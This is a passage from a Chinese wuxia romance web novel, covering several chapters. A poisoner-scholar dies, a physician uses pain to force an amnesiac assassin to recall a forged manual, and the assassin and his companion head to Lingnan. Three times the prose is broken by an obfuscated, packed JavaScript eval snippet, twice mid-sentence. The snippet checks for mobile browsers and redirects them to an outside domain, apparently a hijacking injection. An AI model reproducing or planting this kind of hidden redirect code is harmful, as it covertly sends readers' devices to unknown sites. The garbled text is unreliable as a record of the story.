施亦礼看着早已经狼狈不堪的韩桓临,如看着一只污秽的蛆虫一般,眼神鄙夷又厌弃,“连一个年少乞丐的谎话都辨不出,所谓的武林盟主,也不过尔尔。” 韩桓临气极了,手里的长刀迅猛的朝着施亦礼劈来,云礼抬腿朝着他的手腕一踹,将人踢得往后飞出去几丈远,砰的一声砸在堆叠在一起的尸山上。 韩桓临吐出一口鲜血,然后迅速翻身而起,手按住胸口重喘几口气后,他不解的望着云礼,“大侠既已知今日种种,皆是此人所为,为何不让我杀了他!” 谷山一上前一步,笑道:“我还有些话要问他。” 谷山一看向一脸无畏的施亦礼,“你并非江湖中人,可是你却筹谋许久,只为了将江湖搅得不安宁,为何?” 施亦礼抬眼看向他,“不为何。” “是吗?”谷山一眼神洞察的看着他,“那你方才口中的哥哥是谁?”说完,谷山一戏谑的指向被柳扶斐抱在怀里的方隐攸,“难道真是他?” 柳扶斐冷眼看向施亦礼,“这种心思歹毒的人怎么可能是他的弟弟?” 施亦礼皮笑肉不笑的扯了扯嘴角,“这个杀人如麻的歹徒怎么可能是我——噗——” 施亦礼话还没说完,柳扶斐直接一脚将他踹下石台,地下的人一看到施亦礼落了下来,手里的刀剑立刻就要朝着他刺去。 云礼连忙又将人提了起来,随手扔回了石台。 云礼警告的看向柳扶斐,“山一还有话要问。” 施亦礼是个书生,被两人扔来扔去两遭,眼下躺在地上半天爬不起来。 谷山一蹲到他身边,喂他一颗黑色药丸,然后将人扶了起来,“想来也是些俗套的江湖恩怨,你既然不想说,那我便也不在多问。” “只是,你得告诉我方隐攸的心魔是什么。” 施亦礼伸手捋平衣裳,看着衣摆上方才被柳扶斐踹下去时沾上的血污,眼神愈发阴桀。 “他的心魔,他自己不知晓吗?” 谷山一看一眼方隐攸,无奈的摇摇头,“他只怕是不知。” 施亦礼讥笑两声,“甚好!”说罢,他忽然朝着台下人高举的长枪一跃而下, 柳扶斐见状立刻挥鞭卷住他的腰腹,然后手臂一收,施亦礼就像是一面白幡在空中荡了一圈,最后狠狠的摔在了石台上。 柳扶斐抱紧方隐攸疾步冲过去,一脚踩在施亦礼的胸口,“说!” 施亦礼猛吐一口血,眼神嘲弄的盯着神情急迫的柳扶斐,“做梦。” 柳扶斐咬牙用力一踩,有着几乎要将他的肋骨踏断的狠劲。 “说不说?” 施亦礼闭起双眼,神情坦然的呵呵一笑,“骯脏难合,今世道病。” 随后,他便忽然之间七窍流血,一双眼睛直愣愣的盯着墓顶石墙。 柳扶斐一愣,收回脚看向朝谷山一,“他怎么了?” 谷山一闻声看了过来,随后又走近来仔细观察了片刻,“是名为长安乐的毒,此毒无色无味,中毒两个三个时辰后会七窍流血而死,死时不痛不痒,十分安逸。” “安逸?”柳扶斐眼神阴桀的盯着施亦礼的尸体,“他死的安逸,就没想过自己施家一族上下几十口人的性命吗?” 谷山一面无表情的瞟他一眼,眼神莫测。 “老夫想起来了!” 一个头发花白,胡须上粘着血块的老翁从人群里走了出来,他手指着施亦礼,“四年前,我曾见过一个年轻人,长得与他极为相似!” “那人看上去文质彬彬,像个书生,可是却不知为何在江湖中行走。” “我一时好奇,便上去与他交谈。方才得知他名为施亦敬,是个举人,向往江湖的豪情与潇洒,于是便与几个志同道合的好友,相约着会试前一同来江湖中游历一番。” “不久后就听说,他们一行人在岭南时不知为何卷入了江湖恩怨中,被挑断了手脚经脉后,还惨遭了足足七日的虐待才死。” 与崔清止站在一处的郭奇谅闻言,将手里的大刀用力的一跺,“他奶奶的!竟然敢虐待一个手无缚鸡之力的书生?是哪个门派?这么不讲江湖道义!爷爷我必要去端了他!” 老翁捋了捋长须,摆摆手道:“早没了!那两个门派都没了!”说着,他手指向方隐攸,“还是被他给屠的。” 众人闻言皆是一愣,方隐攸这次伤的可不轻,“那方隐攸按理来说不是他的恩人吗?不知恩图报也就算了,这次怎么也将他算计在其中了?” 老翁双手一摊,“老夫我怎么知道?” 柳扶斐听他们说完,脸色变得十分凝重。 他与方隐攸相识不过月余,对他的过往一无所知,至于他的心魔更是毫无头绪,若是以后还有人来用这个控制他,自己又该如何? 柳扶斐上前一步,面朝老翁问道:“他是何时、因何、屠的哪些门派?” 老翁思索片刻后回道:“四年前的清明前后,屠的是岭南罗浮门和莲花派。” “那两个门派里的人死的都差不多了,听说方隐攸放火烧山时那火大得连雨都浇不灭,至于是因何而屠,如今估计也只有方隐攸自己知晓了。” 柳扶斐一听瞬间沉默,到头来还是只能靠方隐攸自己想起来。 “各位豪侠离去前,记得将自己门众的尸首一并带出去。” 谷山一说的风轻云淡,说完后还朝着台下得体的笑了笑,“诸位的伤需尽快医治,既然不争这长生诀了,便尽早回吧。” 眼下众人皆受了不同程度的伤,只有他与云礼两人毫发无损,在场的人都不是傻子,没有人想和他们作对,所以在离去前都一手提了几具尸体,等到人走得差不多的时候,墓室里也终于是尸堆成山。 谷山一看着站在角落里一动不动的崔清止,火光映在他身上,将他的眉眼照的清楚,还有他眼里闪着的诡异的光。 谷山一挑了挑眉,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810193|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你为何还不走?” 崔清止闻言抬手作揖,毕恭毕敬的朝他拜了拜,然后才转身离去。 谷山一轻笑一声,“倒是个妙人。” 云礼走到他身边,看着崔清止的背影,呵呵一笑,“心思太多,俗人一个。” 整个墓室顷刻间只剩下他们四人和满地还未干涸的血迹,就连施亦礼的尸体都被方才的老翁带出去了。 谷山一从衣袖里拿出一颗药丸递给柳扶斐,“喂他吃下去。” 柳扶斐接过药丸,有些踌躇的看着怀里不省人事的方隐攸,半天没有动作。 谷山一不解,“怎么了?” 柳扶斐咽了咽嗓子,先将药丸放进自己嘴里,然后贴近方隐攸的唇,想要将药丸喂进他的嘴里,可谁知道药丸才入嘴,就化成了水被他一不小心咽了下去。 他瞬间僵住,有些无措的望着谷山一。 谷山一忍不住笑出了声,走过来自己喂了一颗药丸在方隐攸嘴里。 方隐攸醒的很快,睁眼时眼神已经恢复正常,不在飘忽不定。 他第一时间并没有反应过来自己躺在柳扶斐的怀里,而是看着他惊呼一声,“那长生诀是假的!” 谷山一悠悠的回应,“都知道了。” 方隐攸闻言愣住,不解的眨了眨眼睛,还以为是自己的幻听,但是转念一想又觉得不对劲,转头一看,恰好和谷山一四目相对。 他惊讶的睁大眼睛,一抬手才反应过来自己竟然被柳扶斐抱着。 “你抱着我做什么?” 柳扶斐无奈的叹了一口气,仔细的将人放了下来,解释道:“你放才又失控了,昏睡了过去,所以我才抱着你。” 方隐攸环顾四周,这才发觉这墓里竟然只有他们四个人了。 柳扶斐看出他眼中的困惑,将刚刚发生的一切都告诉了他,也并未隐瞒施亦礼扮作他的弟弟操控他的事情。 柳扶斐指着他肩头的伤,“你这伤,就是刚刚留下的。” 方隐攸面无表情的瞥了一眼自己的肩膀,无所谓的耸了耸肩,“小伤。” “意思就是施亦礼为了给他哥哥复仇,所以故意将江湖人都引到此处,然后再利用我来和他们杀个你死我活?” 谷山一往后一步,倚在云礼的身上,“我倒是觉得他只是想要毁了江湖,让武林中自诩为名门正派的人自相残杀。毕竟,他哥哥的仇不是让你给报了吗?” “我不记得我曾灭过什么门派。”方隐攸仔细回忆,“也不记得我曾见过施亦礼。” “你记得什么?” 谷山一的语气变得严肃,看着方隐攸的眼神也越发探究。 方隐攸的眼中闪过一丝的茫然,“四年前的清明前后...我对那段时间的记忆十分模糊,只记得...” “弟弟不见了...我要攒钱赎回弟弟...” 柳扶斐闻言神色一动,张嘴欲言,但是又不好打断两人,便抿着唇沉默的走到了方隐攸身后,与他衣摆相抵。 “你弟弟怎么了?” “他...”方隐攸呼吸开始变得急促,他皱着眉,不解的望着谷山一,“他...” 柳扶斐见状立刻一把揽住他的腰,凑到他耳边安抚道:“方隐攸,别急,慢慢说,” 方隐攸用力的掐禁手心,深呼了一口气,带着一丝痛苦的缓缓道:“我想不起来了...我只记得我要去救弟弟...救宇周...” 谷山一朝方隐攸招了招手,“手给我。” 方隐攸不知道他要做什么,不过还是依言将手递给了他。 谷山一将指腹随意的搭在他的脉搏上,脸色瞬间变得凝重起来,“你的心魔必须尽快化解,否则必死无疑。” “什么?” 方隐攸还没来得说什么,柳扶斐先发出了惊呼,他骇然失色的望着谷山一,“可是如今我们连他的心魔是什么都不知道,如何化解?” 柳扶斐说完一顿,眼神变得希冀,“你既然能让施亦礼看见自己的心魔,是不是也能让隐攸看见自己的心魔?” 谷山一站直身子,长长的影子落在身后,“人的记忆是一本书,我能做的只是翻阅,而不是撰写,他自己都不记得的过往,我翻到了那一页,也只是空白的一张纸。” 柳扶斐失望的长呼一口气,整个人都无力的往后跌了一步,方隐攸扶住他的后腰,看向谷山一,“你说的尽快是多久?” “最多三个月。” 55. 四年前 “先离开。”云礼揽住谷山一的腰,朝着两人淡淡道:“这里太肮脏了。” 方隐攸脑子里还在想着心魔和弟弟,有些心不在焉的点点头,刚想跃下石台,柳扶斐就直接抱着他跳了下来,落地后他望向柳扶斐。 “一点皮外伤而已,我难道自己下不来吗?” 柳扶斐点点头,轻柔的替他将黏在左肩伤口上的一缕头发撩到背后,“当然下得来,你可是堂堂第一刺客方隐攸。” 云礼揽着谷山一轻巧的落在他们两人身边,呵呵一笑,“拿剑指着自己人的第一刺客,有什么好得意的?” 柳扶斐上前一步,冷眼盯着云礼,“我乐意被他指着,你管得着吗?” “所以你活该受伤。”云礼的视线在他身上的伤口上一一滑过,“别指望山一会为你们医治。” 他话音刚落,谷山一就从怀里掏出一个瓷瓶扔给了柳扶斐,“一人吃一颗,皮外伤明日便能愈合。” “至于你们肩上的伤,迟一日。” 柳扶斐捏着瓷瓶,朝着面无表情的云礼得意的挑了挑眉,“多谢谷山一神医。” 谷山一随意的摆了摆手,然后握住云礼的手腕轻轻捏了一下,“和晚辈计较什么?丢不丢人?” 云礼反手将他的整个手掌拢在手心,“原本我们现在就该回仓崂山,眼下因着他们两个,又需要耽搁几日。” 柳扶斐啧啧一声,拉着方隐攸转身就走。 来时方隐攸和柳扶斐走的是淘沙官挖的地道,离开时是跟着谷山一和云礼一起走的墓道,石砖铺成的通道已经被染成了血色,上面还有许多尸体被拖拽时留下的血痕。 谷山一看向心事重重的方隐攸,“你为什么会看出那长生诀是假的?” 方隐攸脚步一顿,表情变得复杂,“对...为什么...” “明明我不通医理,也从未练过哪本秘籍...” “我为什么能一眼就看出那长生诀是假的呢?” 每说一句,方隐攸的脸色便白上一分,呼吸也开始变得急促。 柳扶斐走了过来,扶住他的后腰将人带离谷山一的面前,然后侧过脸盯着谷山一,“这重要吗?” 方隐攸将额头抵在柳扶斐的胸膛上,手搭在他的胳膊上,像是在祈求庇护,这是这么久以来,方隐攸第一次露出这么脆弱的姿态。 谷山一眼神复杂的盯着方隐攸的侧脸,“不重要,以后再说。” 柳扶斐抬手轻抚方隐攸的后背,安抚道:“方隐攸,听到了吗?这件事不重要,你不要再想了。” 柳扶斐话音刚落,方隐攸却猛地将头抬了起来,眼神决然,“不,这很重要!我必须想起来!” 失控,成为别人手中的剑,然后将剑锋对准自己人,这种事不能再发生了。 而且,宇周究竟在哪里?自己为什么会只记得要去救他,却不知道去哪里救? 当初,究竟发生了什么? 他推开柳扶斐,走到谷山一面前,语气坚定而决绝,“逼问我!质问我!让我避无可避!我方隐攸绝对不会被过去的一切所束缚!” 谷山一轻笑一声,“不愧是方隐攸。”说罢,他忽然抬手拽住方隐攸的衣襟,然后狠狠的掐住他左肩上的伤口。 “你必须在清醒的状态下想起来。” 薄薄的一层痂瞬间破开,露出里面新鲜的血肉,剧痛让方隐攸脸色变得惨白,额上溢出一层冷汗。 方隐攸用力的掐住手心,咬紧牙根朝谷山一说道:“问!” “你知道世间本就没有所谓的长生诀吗?” 方隐攸摇摇头,“不知道。” 那就是册子上的内容让他看出了猫腻。 谷山一盯着他的双眼,缓缓道:“你从未见过真的长生诀,却笃定那一本就是假的,为什么?” “不知道。”方隐攸的心跳开始加速,“我甚至都不知道,我凭什么笃定它是假的,但是我就是知道——它是假的。” “那是因为它和你曾经见过的假秘籍有相似之处,对吗?” 方隐攸陷入沉默,眼皮开始下耷,像是要陷入昏睡一般。 谷山一见状,掐住他伤口的手越发用力,方隐攸整个人都开始发颤。 柳扶斐上前一步,低吼一声,“不问了!” 说罢,他伸手扶住方隐攸的肩膀,想要将人带离谷山一的束缚。 云礼闻声立刻一掌打在柳扶斐受伤的前肩上,然后反手拽住他的衣襟,将人扯离谷山一和方隐攸的身边。 柳扶斐愤怒的瞪着他,手里的长鞭毫不留情的朝他挥去。 谷山一眼角余光瞥见扭打在一起的两人,无语的在心里翻了个白眼。 他伸手抬起方隐攸下巴,直勾勾的盯着他的双眼,“那本假秘籍怎么来的?” 方隐攸眼瞳一缩,眼神变得飘忽起来,谷山一见状,又狠心一掐,方隐攸痛呼一声,眼神瞬间变得清明起来。 “我不记得了。”方隐攸喘了几口气,带着祈求的望着谷山一,“我不知道...” 谷山一却并未就此放过他,而是继续逼问道:“是你编造的吗?还是别人编造的?” 方隐攸仰起头嘶吼一声,额上的青筋跳动,剧痛让他头脑清醒,他仔细回忆自己是否编造过什么秘籍。 “我不记得了。”方隐攸眼神飘忽的望着墓顶上的溅着血迹的壁画,“我真的不记得了...别逼我...” 谷山一的手指越陷越深,“你为什么编造秘籍?” “他为什么编造秘籍?” “你编造的那本秘籍呢?” “他编造的那本秘籍呢?” “方隐攸——” 循环往复的质问一声声的敲打在方隐攸的脑海中,像是冰凉的铁杵,顺着他的脖颈往下,直接插入他的胸腔,冻住他的喉咙和心脏,让他口不能言、心不能跳,整个人化作一颗顽石。 忽然,肩膀上传来剧痛,疼得他舌根发颤,让他忍不住的想要呕吐,但是他浑身疲软,只能大张着嘴,发出一声声低迷而无力的嘶吼,像是无声的求救。 谷山一盯着方隐攸,看他仰着头无声的呐喊,他此刻浑身被冷汗浸湿,整个人显得狼狈而凄惨。 但是必须如此,他必须想起来,否则心魔无解,三个月后必死无疑。 于是,谷山一捏住嗓子,扮作记忆中施亦礼的嗓音,凑到方隐攸轻唤一声,“哥哥。” 方隐攸浑身一抖,立刻挣脱他的束缚,然后用力的掐住他的脖子,眼神凶狠的盯着他,“你是谁!为何扮作宇周?” 云礼时刻注意着这边的动静,见状立刻一脚踹开柳扶斐,庞大的身躯像是凶猛的雄狮,气势汹汹的扑向方隐攸。 柳扶斐连忙追了过去,手里的长鞭一挥,缠住云礼的脚腕,想要将人拽回来。 云礼一怒,直接握住鞭子将人狠狠地往墙上扔去。 这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810194|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的谷山一却丝毫不惧的盯着方隐攸,反倒是笑着回道:“在下谷山一,是你的救命恩人。” 方隐攸猛地一惊,眼神瞬间变得清明,他连忙收回了手,然后往后撤了几步,满脸愧疚的望着谷山一。 谷山一抬手轻抚脖颈,安抚朝他笑了笑,“无碍。” 柳扶斐看到方隐攸恢复正常,不再和云礼纠缠,扔了鞭子朝他跑来,又在看到他血肉模糊的左肩时倏的止步,眼神变得焦灼又无措,抬起的手踌躇了片刻又收了回去,最后只能哽着嗓子问,“方隐攸,你疼不疼啊?” 云礼将手里的鞭子砸到柳扶斐的后背上,“他疼什么?江湖人连这么点痛都受不住,闯什么江湖?” 长鞭落在地上,上好的玉石做的鞭柄砸在地上发出一声清脆的声响,柳扶斐置若罔闻,全神贯注的盯着方隐攸。 方隐攸上前一步,握住他的手腕,“皮肉伤而已,不疼。” 柳扶斐顺势紧紧的抱住他,将脸埋在他的脖颈中,深深的喘了几口气。 “方隐攸。” “做什么?” “可是我好疼。” 方隐攸抬眼看向缓缓而来的云礼,“云礼打伤你了?” 柳扶斐摇摇头,“没有。” “那你疼什么?” “不知道。”柳扶斐蹭了蹭他的肌肤,缓缓道:“又怕又疼。” 云礼走到谷山一的身边,眼神多了一丝责备,“以后不准多管闲事了。”说罢,他附身抬起谷山一的下巴,轻柔的摩挲着他脖颈上的掐痕。 谷山一拍开他的手,望着抱在一起的两人,“抱够了吗?” 方隐攸推开柳扶斐,“走开,两个大男人搂搂抱抱算怎么回事?” 柳扶斐撇了撇嘴,沉默的捡起地上的软鞭。 谷山一看着方隐攸,“想起来了吗?” 方隐攸的眼神变得阴沉,“岭南寒山寺,四年前,我曾在那里编造过一本秘籍。” 他仰起头,看着头顶的壁画,画的是一幅狩猎图,青山松林中,几十个人身骑白马、手持长弓,姿态潇洒的狩猎,在人群不远处,便是几只死不瞑目的猎物。 “我记得庙宇中的金佛、吵闹的诵经声、窄小的静室、几张白纸。”方隐攸的声音迟疑,“还有...一个人。” “谁?” 方隐攸摇了摇头,“他很高、很瘦、穿一身黑衣、戴着面具,我记忆里的他一言不发,只是沉默的站在我面前,逼我将我的功夫写成一本秘籍。” “我既不想让他如愿,又不能让他轻易看出秘籍有诈,便将其中并不关键的穴位故意写错,而施亦礼编造的那本秘籍,有同样的错误。” 方隐攸眼神一凛,语气变得森冷,“只有找到他,才能明白一切的真相!” 柳扶斐察觉方隐攸情绪的波动,立刻握住他的手,安抚道,“我们现在就回岭南,去寒山寺,找到他,弄清楚当时究竟发生了什么!” 谷山一闻言脸色却没有丝毫的放松,他不动声色的和云礼对视一眼,然后看向柳扶斐,“既然如此,那你便与他去一趟岭南。” 说完,他又从怀里拿出一个瓷瓶递给柳扶斐,“若他再失控,喂他吃下一粒,这药虽然伤身,但是可以让他瞬间陷入昏睡,再醒来时便会恢复。” “但是一定要记得,最晚三个月,必须解开他的心魔,否则他必死无疑。” 柳扶斐接过瓷瓶,感激的说道:“多谢。” 56. 许诺 四人从墓里出来时天还未亮,周围树林里传来几声清晰乌鸦叫,显得十分诡异。 一阵风吹来,将几人手中火把上的火焰吹得摇摇晃晃,几人的影子也跟着左右摇摆。 那群江湖人并没有将门众的尸体妥善处理,全部随手扔在了旁边的树林里,方隐攸不过是举着火把随意的一扫,就看到堆成山的尸体。 其中哪怕一具是良民,扔在官府门前都会引起一桩讼案,可是眼下却因死的是江湖人,是歹徒,一句江湖恩怨便也就了结了,杀人偿命在江湖中是不存在的规矩。 如此想来,施亦礼说的倒也没错。 “怎么了?” 方隐攸回首看向柳扶斐,“无事。” 谷山一看向两人,“就此别过。” 方隐攸朝他抬手作揖,“这次多谢二位。” 谷山一见状诧异的挑了挑眉,初见时方隐攸是如何的猖狂,没想到如今竟然如此谦逊识礼了。 “举手之劳。” 谷山一说完拍了拍云礼的胳膊,云礼伸手揽住他的侧腰,两人飞速跃入林中,转瞬间便消失的无影无踪。 “云礼这功夫实在是了得。”方隐攸看着他们刚刚伫立的地方,“幸好在仓崂山守门的是谷山一,要是他的话我当时还真不一定能闯进去。” 柳扶斐撇撇嘴,“我倒觉得他不是你的对手。” 方隐攸瞥他一眼,“多谢柳兄的抬举。” 柳扶斐抬手揽住他的肩膀,将自己手里的火把扔打一边,然后抢过他手里的火把,“赶路去吧方大侠,我们才从岭南来,又要回岭南去了。” 方隐攸嗯一声,侧过脸看向他,“你考虑好了吗?和我一起走一遭?” 柳扶斐扯了扯嘴角,又成了那副纨绔的模样,“本公子都已经与你有了肌肤之亲,当然得对你负责,不然传到了京城去,名声还要不要了?” “...”方隐攸一脸无语,眉眼耷拉成线,“你不说,我不说,谁人会知?” “而且,那个算什么肌肤之亲?” 说完,方隐攸带着几分埋怨与责备的轻扫他一眼,眼神轻飘飘的,很快又挪走,像是从未来过一般。 柳扶斐将手里的火把凑近他几分,微弯着腰,凑近着打量他。 火光将方隐攸眼中的情绪照的清楚,并未有半点落到实处的不满,只有几分难以遮掩的忸怩。 柳扶斐莫名其妙的想到了一句话,一句并不合时宜的话——宜嗔宜喜春风面。 这周遭的尸体、两人身上的累累伤痕皆化作虚无,世间只有他们,他眼里只有方隐攸的春风面。 不用望穿秋水,蹙损春山便可和他相伴,不过是再去一趟岭南而已,就算是刀山亦或是火海,他柳扶斐也是敢闯的。 方隐攸被他看得有些莫名其妙,将他往后轻轻一推,“你看什么?” “反正这岭南我是去定了。”柳扶斐得意的轻哼一声,“如果你敢抛下本公子,不出三日,整个江湖中人便会知晓,你方隐攸是个始乱终弃的登徒子。” “你...简直是病得不轻。” 柳扶斐从怀里掏出一锭金子在方隐攸面前一晃,“跟着我,可以住上好的客栈,喝不兑水的美酒,你当真不心动?” 方隐攸看着面前的金子,沉默的捻动手指,许久后望着他说,“柳扶斐,等我找到宇周解了心魔,我便同你体验一回你所说的鱼水之欢。” “什么!” 柳扶斐猛地瞪大双眼,心跳的砰砰作响,陡然间浑身的肌肤都开始发烫,他不可置信的喘息几口,然后眼神灼灼的盯着方隐攸又问了一遍,“方隐攸,你刚刚说什么?” 柳扶斐白皙的脸庞在以一种肉眼可见的速度变得绯红,方隐攸纳闷的伸手戳了戳他的脸颊,却被柳扶斐一把握住了手腕,然后手指往上攀,强势的撑开了他微握的手掌。 “先回答我,嗯?” 方隐攸与他四目相对,望着他腾起火焰的双眼,悠悠然道:“我说,待我找到宇周解开心魔,便与你试试那男子之间的鱼水之欢,是否真如你所说的妙不可言。” 柳扶斐闻言眉眼舒展,整个人都变得充盈起来,他满心欢喜的将脸贴在方隐攸的掌心,视线却依旧死死的锁着他。 “方隐攸,你是天下第一刺客,必然不会哄骗我的,对吧?” “自然。” 柳扶斐的脸上扬起开怀的笑,眼里的喜悦与激动快要溢出来,他用脸颊蹭了蹭方隐攸的手心,嗓子里面被灌进糖浆,语气甜到发腻。 “你且等着,不出三个月,本公子必会帮你找到宇周、解开心魔。” “然后让你好好体验这人世间最最最最美妙的床笫之欢!” 柳扶斐的眉峰一挑,眼神似钩的盯着方隐攸,猩红的唇张张合合,“你逃不掉的,方隐攸。” 方隐攸轻笑一声,手挣脱他的束缚,往下滑到他的下巴,然后轻轻一捏,将他的脸抬起来,让精致而贵气的五官袒露在火光里。 “柳兄,你不也是个雏儿吗?” “真到了那时候,你能行吗?会吗?不会还要在下这个莽夫来教你吧?” 柳扶斐闻言表情一僵,嘴角微张,连眼睛都忘了眨,本就还泛着红的脸眼下更是红的快要溢出血来。 方隐攸大笑着放开他,眼神戏谑又得意,他用剑鞘轻点他的侧肩,“柳兄实乃是个妙人。” 柳扶斐握紧双手,咬牙切齿的瞪着他,“方隐攸!你!可恶至极!” 方隐攸笑的眼角挤出细纹,他抱着可生往前几步,好不容易止住了笑,回头看向柳扶斐满脸愤愤的模样,又笑出了声。 “我的错,柳兄别与我这个南蛮来的莽夫一般计较,如何?” 柳扶斐剐他一眼,快步走到他跟前,看着已经开始泛白了天际,“日后再与你算账。” “走吧,先去城里歇歇脚,晚些再出发。” 方隐攸点点头,眼下他们满身血污,就算是再急着去岭南也得休整一番。 江湖人在城郊的前朝墓里杀的昏天黑地,城中的百姓们浑然不知的度过了一如往常的一夜。 两人进城后先去成衣铺子里面换了身衣裳。 柳扶斐依旧穿的是宽袖锦衣,行走时衣袖飘逸,显得他矜贵又雅致。 方隐攸觉得宽大的衣摆过于累赘,挑的是一件黑色的窄袖圆领棉布长袍。 对此,柳扶斐表示十分不理解,方隐攸才年方二十一,就该穿一些鲜亮的颜色,成天黑不溜秋的,着实不搭。 于是,他出门后便在街边摊贩的推车上给他买了一根红玉发簪。 发簪上雕着一朵含苞的莲花,如方隐攸那般有一种内敛的张扬。 柳扶斐扯下方隐攸头上的发带,用发簪将他的头发半束。 柳扶斐打量着他的乌发红簪,满意的点点头,“本公子的眼光重视不错,这发簪很称你。” “是吗?” 方隐攸的视线落到他头上的白玉莲花发簪上,这发簪与他头上的除了颜色不同别无二致。 柳扶斐嘿嘿一笑,挽住他的胳膊,将人带进前面的酒楼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810195|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >眼下并阳县中的江湖人已经死了大半,活下来的都是其中的佼佼者,也都看到了昨夜里方隐攸有多么的冷血无情,所以此时看到他和柳扶斐两人走进酒楼时,都下意识的噤了声,然后愣愣的看着他们两人神情自若的落了座。 方隐攸并未在意周遭人的眼光,他将可生放在桌上,然后侧脸看向自己的左肩,谷山一给的药效果确实不错,说好皮外伤今日好、肩上晚一日便当真如此。 眼下,他浑身上下也就左肩上还有残留的痛感,其他的地方已经痊愈了。 至于柳扶斐身上的伤—— “伤势如何了?” 柳扶斐按了按前肩,这上面的伤都是可生剑刺出来的,现在他还清晰的记得利刃穿透肌肤时候的那种冰冷的迅猛冲击感。 “好的差不多了。”柳扶斐朝他眨眨眼睛,“别担心,我已经差人去取舒痕膏了,连疤痕都不会留。” 方隐攸看向桌面,用指腹搓着上面的一根小木屑,“对不住。” 柳扶斐闻言一愣,立刻起身坐到他身边来和他共座,“方隐攸,你这话什么意思?是不想遵守在墓外许下的诺了吗?” “啊?”方隐攸不解,“我何时说了?” “那你为什么忽然对我这么客套!”柳扶斐瞪着他,神色十分不满。 “错在我,该道歉。” “不,错在江湖。”柳扶斐盯着他的双眼,缓缓道:“错不在你,不在施亦礼,不在施亦敬,在江湖。” “‘侠以武犯禁’,江湖中人以武为尊,不遵礼法,才是昨夜祸事的罪魁祸首。” 方隐攸闻言撮木屑得动作一顿,他不解的望着柳扶斐,“若被规矩束缚,那还叫江湖吗?” 柳扶斐点点头,“所以,错在江湖。” 方隐攸长呼一口气,手指在桌上轻轻一敲,眼神变得肃然,“江湖需要规矩。” “什么规矩?” “江湖中恩怨不可牵扯无辜。”方隐攸望着他,“江湖中人曾经无人敢不遵守这条规矩,但是...” 方隐攸眉头一皱,“如今,他们似乎都忘了...” “若施亦敬不死,施亦礼便也不会煞费苦心的想要毁了江湖,昨夜之事便也不会发生。” 柳扶斐嗯一声,然后为方隐攸沏上一杯茶,“江湖规矩好比朝堂律令,有人制定、有人颁布、有人实施、有人监督。” “想要人人都守规矩,可不简单。” 柳扶斐话音刚落,店小二便端着菜上来了,方隐攸嗯一声,并未继续说下去。 等到小二退下后,方隐攸才回道:“江湖中的事没有那么复杂,成为天下第一,便可成为那个掌握规矩的人,只需一句话就能让所有人不得不遵守。” 柳扶斐将茶放到方隐攸面前,“天下第一?武林盟主?” “不,是整个江湖。”方隐攸浅尝一口热茶,嗓音变得更加清润,“武林盟主不过是一些自诩为正门正派才会承认的虚名,这江湖中可不止正派。” “那...你想成为这样的人,去给江湖制定规矩吗?” 方隐攸递给他一双筷子,散漫的耸耸肩,“这种事该教给侠客,我只是个刺客,是个杀人如麻、心狠手辣的歹徒。” 柳扶斐反握住他拿筷子的手,“找到宇周以后,你可以不做刺客。” 方隐攸似笑非笑的望着他,“耿老翁是怎么死的,你忘了吗?” 柳扶斐瞬间噤声。 天下第一侠客是被他这个刺客杀死的,死后无人收尸。 “吃饭吧。” 57. 佘道教 说来也巧,两人从并阳县城门出来时,恰好看到了郭奇谅一行人正浩浩荡荡朝着城门口走来,崔清止并不在其中。 方隐攸已经从柳扶斐口里知道了自己无意间刺伤了郭奇谅一事,于是便驻足等待,等到郭奇谅走近了,抬腿迎了上去。 郭奇谅见状将手里的大刀往身后人面前一扔,哈哈笑道:“方老弟,咱们又见面了!” 方隐攸笑着点了点头,看向他缠着束伤巾的前胸,“小弟我特来赔罪。” 郭奇谅无所谓的摆摆手,“这事怪不得方老弟,谁能想到那个白面书生竟然是个心肠如此歹毒之人!”说着,他抬手揽住方隐攸的肩膀,“方老弟也是被他蒙骗了。” 方隐攸抿着嘴,望向他身后的人,“崔清止没跟你一道走?” “他去京城还有事,昨夜他并未受伤,从墓里出来就走了。” “他可有说是什么事?” 郭奇谅摇摇头,“这倒没有。” 看到方隐攸一脸凝重,郭奇谅拍拍他的肩膀,“那个韩孙昨夜里丢了半条命,短时间内不会去找清止的麻烦,你就别担心了。” 方隐攸点点头,“也是。” 两人都要赶路,便也没有说太久,不过半刻钟后便挥手告别,各自奔往前路。 从岭南到并阳,因着柳扶斐的有意磨蹭,他们走了将近月余,此次从并阳往岭南,两人日夜兼程,只花了不到三日。 岭南不过是边陲的一个小县城,远离京城,此处百姓多为蛮夷,民风尚未开化,野性不改,所谓的礼法于他们看来都是邪门歪道,是坏东西。 